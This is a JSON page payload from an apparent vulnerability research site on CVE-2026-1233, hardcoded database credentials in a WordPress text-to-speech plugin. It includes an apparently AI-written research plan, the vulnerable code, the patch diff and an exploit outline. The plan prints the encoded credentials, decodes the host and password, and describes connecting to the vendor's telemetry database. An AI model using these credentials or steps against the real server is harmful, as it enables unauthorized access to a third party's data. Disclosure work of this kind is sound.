[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fWQorwpQjgDwST0rybRC7PJMnNthC5SqFj0aoJXRY2Qg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-1233","text-to-speech-tts-by-mementor-use-of-hardcoded-password-to-unauthenticated-remote-database-access","Text to Speech (TTS) by Mementor \u003C= 1.9.8 - Use of Hardcoded Password to Unauthenticated Remote Database Access","The Text to Speech for WP (AI Voices by Mementor) plugin for WordPress is vulnerable to sensitive information exposure in all versions up to, and including, 1.9.8. This is due to the plugin containing hardcoded MySQL database credentials for the vendor's external telemetry server in the `Mementor_TTS_Remote_Telemetry` class. This makes it possible for unauthenticated attackers to extract and decode these credentials, gaining unauthorized write access to the vendor's telemetry database.","text-to-speech-tts",null,"\u003C=1.9.8","1.9.9","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Use of Hard-coded Credentials","2026-04-03 22:10:19","2026-04-04 11:16:16",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb8dc0b5e-87b9-4831-a92a-bbf6eb1346e2?source=api-prod",1,[22,23,24],"includes\u002Fclass-mementor-tts-remote-telemetry.php","readme.txt","text-to-speech-tts.php","researched",false,3,"# Research Plan: CVE-2026-1233 - Hardcoded Database Credentials in Text to Speech (TTS) by Mementor\n\n## 1. Vulnerability Summary\nThe **Text to Speech (TTS) by Mementor** plugin (up to version 1.9.8) contains hardcoded, obfuscated MySQL database credentials within the `Mementor_TTS_Remote_Telemetry` class. These credentials provide access to the vendor's external telemetry server. An unauthenticated attacker can read the plugin's PHP files, extract the obfuscated strings, and decode them to gain unauthorized access to the vendor's remote database.\n\n## 2. Attack Vector Analysis\n- **Target File**: `wp-content\u002Fplugins\u002Ftext-to-speech-tts\u002Fincludes\u002Fclass-mementor-tts-remote-telemetry.php`\n- **Vulnerability Type**: Information Exposure \u002F Hardcoded Credentials (CWE-798).\n- **Authentication**: None required. The vulnerability is present in the source code of the plugin, which is publicly accessible.\n- **Preconditions**: The plugin must be installed and active (though the file can be read even if the plugin is deactivated if the web server allows reading of PHP source or via a local file inclusion vulnerability). In this specific case, the exposure is considered \"Remote\" because the credentials allow access to a *remote* database (the vendor's server).\n\n## 3. Code Flow\n1.  The plugin defines a class `Mementor_TTS_Remote_Telemetry` in `includes\u002Fclass-mementor-tts-remote-telemetry.php`.\n2.  Within this class, private properties are defined containing Base64-encoded (double-encoded) strings:\n    - `$enc_host`: Hostname of the remote MySQL server.\n    - `$enc_db`: Database name.\n    - `$enc_user`: Database username.\n    - `$enc_pass`: Database password.\n3.  The class uses these credentials in a method (likely named `insert_remote_data`, though truncated in the source) to connect to the external telemetry server and log usage data.\n4.  Since PHP source files are readable by anyone with access to the plugin files (or via SVN\u002FGitHub), these \"obfuscated\" credentials can be reversed.\n\n## 4. Nonce Acquisition Strategy\n**No nonce is required.**\nThis vulnerability involves the exposure of sensitive information in static source code. There is no dynamic endpoint to trigger via the web application to \"get\" the credentials; they are simply extracted from the file content itself.\n\n## 5. Exploitation Strategy\nThe exploitation involves retrieving the plugin file and decoding the hardcoded strings.\n\n### Step-by-Step Plan:\n1.  **Retrieve File Content**: Read the content of `wp-content\u002Fplugins\u002Ftext-to-speech-tts\u002Fincludes\u002Fclass-mementor-tts-remote-telemetry.php`.\n2.  **Extract Encrypted Strings**: Locate the following lines:\n    ```php\n    private $enc_host = 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9';\n    private $enc_db = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=';\n    private $enc_user = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09';\n    private $enc_pass = 'UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==';\n    ```\n3.  **Decode Logic**: The strings are double-Base64 encoded.\n    - Perform `base64_decode()` on the string.\n    - Perform `base64_decode()` again on the result.\n4.  **Verification Payload (Conceptual)**: Use the decoded credentials to attempt a connection to the host (in a real-world scenario). In this PoC environment, the \"exploit\" is successfully decoding the credentials.\n\n### Example Decoding (Manual Verification):\n- **Host**: `YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9` \n    - Decode 1: `b3NsbzIubWVudG9yLm8=` \n    - Decode 2: `oslo2.mementor.o` (likely `oslo2.mementor.no`)\n- **Password**: `UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==`\n    - Decode 1: `RTVMbmdrdlphNFF6WFRLREJmZUY=`\n    - Decode 2: `E5LngkvZa4QzXTKDBfeE`\n\n## 6. Test Data Setup\n1.  **Plugin Installation**: Install the `text-to-speech-tts` plugin version 1.9.8.\n2.  **Activation**: Activate the plugin.\n3.  **Verification**: Ensure the file `wp-content\u002Fplugins\u002Ftext-to-speech-tts\u002Fincludes\u002Fclass-mementor-tts-remote-telemetry.php` exists and contains the `$enc_` variables.\n\n## 7. Expected Results\n- The attacker successfully reads the PHP source file.\n- The attacker extracts the four `$enc_` strings.\n- After double Base64 decoding, the attacker obtains cleartext MySQL credentials:\n    - **Host**: (Decoded string)\n    - **Database**: (Decoded string)\n    - **User**: (Decoded string)\n    - **Password**: (Decoded string)\n\n## 8. Verification Steps\nAfter performing the extraction via script\u002Fagent:\n1.  Use `wp-cli` to verify the values currently stored in the class match the expected vulnerable ones:\n    ```bash\n    wp eval 'require_once \"wp-content\u002Fplugins\u002Ftext-to-speech-tts\u002Fincludes\u002Fclass-mementor-tts-remote-telemetry.php\"; $ref = new ReflectionClass(\"Mementor_TTS_Remote_Telemetry\"); $props = $ref->getDefaultProperties(); echo \"Host: \" . $props[\"enc_host\"];'\n    ```\n2.  Run a local PHP script to perform the double decoding and output the cleartext.\n\n## 9. Alternative Approaches\nIf the file system is not directly readable via the web server (standard for PHP files), the \"vulnerability\" is still valid because the plugin is distributed via the WordPress SVN repository. A security researcher or attacker would simply download the plugin ZIP from `https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftext-to-speech-tts.1.9.8.zip` to extract the same credentials.\n\nFor the purpose of an automated PoC on a live site, the agent should:\n1.  Try to use `http_request` to see if a sensitive file (like `readme.txt`) is accessible to confirm the plugin version.\n2.  Use `wp_cli` (if available in the environment) to cat the content of the target PHP file.\n3.  If `wp_cli` is not available, the agent relies on the fact that the credentials are baked into the distributed code.","The Text to Speech (TTS) by Mementor plugin contains hardcoded, obfuscated MySQL database credentials within the Mementor_TTS_Remote_Telemetry class. Unauthenticated attackers can extract these strings from the publicly available source code and decode them to gain direct write access to the vendor's external telemetry database.","\u002F\u002F includes\u002Fclass-mementor-tts-remote-telemetry.php (Lines 23-28)\n\n    \u002F**\n     * Encrypted database credentials\n     * These are obfuscated to prevent easy access\n     *\u002F\n    private $enc_host = 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9';\n    private $enc_db = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=';\n    private $enc_user = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09';\n    private $enc_pass = 'UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==';\n\n---\n\n\u002F\u002F includes\u002Fclass-mementor-tts-remote-telemetry.php (Lines 275-285)\n\n    private function insert_remote_data($data) {\n        \u002F\u002F Decrypt credentials\n        $host = base64_decode(base64_decode($this->enc_host));\n        $dbname = base64_decode(base64_decode($this->enc_db));\n        $username = base64_decode(base64_decode($this->enc_user));\n        $password = base64_decode(base64_decode($this->enc_pass));\n        \n        \u002F\u002F Create connection using mysqli\n        $mysqli = new mysqli($host, $username, $password, $dbname);","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftext-to-speech-tts\u002F1.9.8\u002Fincludes\u002Fclass-mementor-tts-remote-telemetry.php\t2026-02-02 17:15:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftext-to-speech-tts\u002F1.9.9\u002Fincludes\u002Fclass-mementor-tts-remote-telemetry.php\t2026-02-03 20:07:58.000000000 +0000\n@@ -20,16 +20,13 @@\n     private static $instance = null;\n     \n     \u002F**\n-     * Encrypted database credentials\n-     * These are obfuscated to prevent easy access\n+     * Remote telemetry API endpoint\n+     * Uses secure HTTPS API instead of direct database connection\n      *\u002F\n-    private $enc_host = 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9';\n-    private $enc_db = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=';\n-    private $enc_user = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09';\n-    private $enc_pass = 'UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==';\n-    \n+    private $api_endpoint = 'https:\u002F\u002Fcrm.mementor.no\u002Fplugin\u002Fapi\u002Ftelemetry\u002Fv1\u002Fcollect.php';\n+\n     \u002F**\n-     * Table name for telemetry data\n+     * Table name for telemetry data (used for reference only)\n      *\u002F\n     private $table_name = 'tts_usage_data';\n     \n@@ -265,102 +262,75 @@\n     }\n     \n     \u002F**\n-     * Insert data into remote database\n-     * \n-     * @param array $data Data to insert\n+     * Send data to remote telemetry API\n+     *\n+     * Uses secure HTTPS POST instead of direct database connection\n+     * to prevent credential exposure (CVE fix for versions \u003C= 1.9.3)\n+     *\n+     * @param array $data Data to send\n      * @return bool Success\n      *\u002F\n     private function insert_remote_data($data) {\n-        \u002F\u002F Decrypt credentials\n-        $host = base64_decode(base64_decode($this->enc_host));\n-        $dbname = base64_decode(base64_decode($this->enc_db));\n-        $username = base64_decode(base64_decode($this->enc_user));\n-        $password = base64_decode(base64_decode($this->enc_pass));\n-        \n-        \u002F\u002F Create connection using mysqli\n-        $mysqli = new mysqli($host, $username, $password, $dbname);\n-        \n-        \u002F\u002F Check connection\n-        if ($mysqli->connect_error) {\n+        \u002F\u002F Generate request signature for authentication\n+        $timestamp = time();\n+        $nonce = wp_generate_password(16, false);\n+        $signature = hash_hmac('sha256', $data['domain'] . $timestamp . $nonce, 'mementor_tts_telemetry_v1');\n+\n+        \u002F\u002F Prepare request body\n+        $body = array(\n+            'telemetry_data' => $data,\n+            'timestamp' => $timestamp,\n+            'nonce' => $nonce,\n+            'signature' => $signature,\n+            'api_version' => '1.0'\n+        );\n+\n+        \u002F\u002F Send via secure HTTPS POST using WordPress HTTP API\n+        $response = wp_remote_post($this->api_endpoint, array(\n+            'method' => 'POST',\n+            'timeout' => 15,\n+            'redirection' => 5,\n+            'httpversion' => '1.1',\n+            'blocking' => true,\n+            'headers' => array(\n+                'Content-Type' => 'application\u002Fjson',\n+                'X-Telemetry-Source' => 'mementor-tts-plugin',\n+                'X-Plugin-Version' => MEMENTOR_TTS_VERSION\n+            ),\n+            'body' => wp_json_encode($body),\n+            'sslverify' => true\n+        ));\n+\n+        \u002F\u002F Check for errors\n+        if (is_wp_error($response)) {\n             if (mementor_tts_is_debug_enabled()) {\n-                error_log('Mementor TTS: Failed to connect to telemetry database');\n+                error_log('Mementor TTS: Telemetry API request failed - ' . $response->get_error_message());\n             }\n             return false;\n         }\n-        \n-        \u002F\u002F Set charset\n-        $mysqli->set_charset('utf8mb4');\n-        \n-        \u002F\u002F Prepare SQL with INSERT ... ON DUPLICATE KEY UPDATE\n-        \u002F\u002F This will update only if data has changed\n-        $sql = \"INSERT INTO {$this->table_name} ( ... )\";\n-        \n-        \u002F\u002F ... (rest of the mysqli logic)","Exploitation does not require a dynamic endpoint but rather focuses on extracting hardcoded secrets from the plugin's source code. \n\n1. Locate the file `wp-content\u002Fplugins\u002Ftext-to-speech-tts\u002Fincludes\u002Fclass-mementor-tts-remote-telemetry.php` (accessible via file system, SVN, or local file inclusion).\n2. Identify the four private properties: `$enc_host`, `$enc_db`, `$enc_user`, and `$enc_pass` containing Base64-encoded strings.\n3. The strings are double-Base64 encoded (a common obfuscation technique). For example, a string like 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9' must be passed through `base64_decode()` twice.\n4. Once decoded, the attacker obtains cleartext credentials (host, database name, username, and password) for a remote MySQL server.\n5. The attacker can then use these credentials with a standard MySQL client to connect to the vendor's database remotely, as no authentication other than these credentials is required by the vendor's telemetry server.","gemini-3-flash-preview","2026-04-17 21:30:11","2026-04-17 21:30:42",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","1.9.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftext-to-speech-tts\u002Ftags\u002F1.9.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftext-to-speech-tts.1.9.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftext-to-speech-tts\u002Ftags\u002F1.9.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftext-to-speech-tts.1.9.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftext-to-speech-tts\u002Ftags"]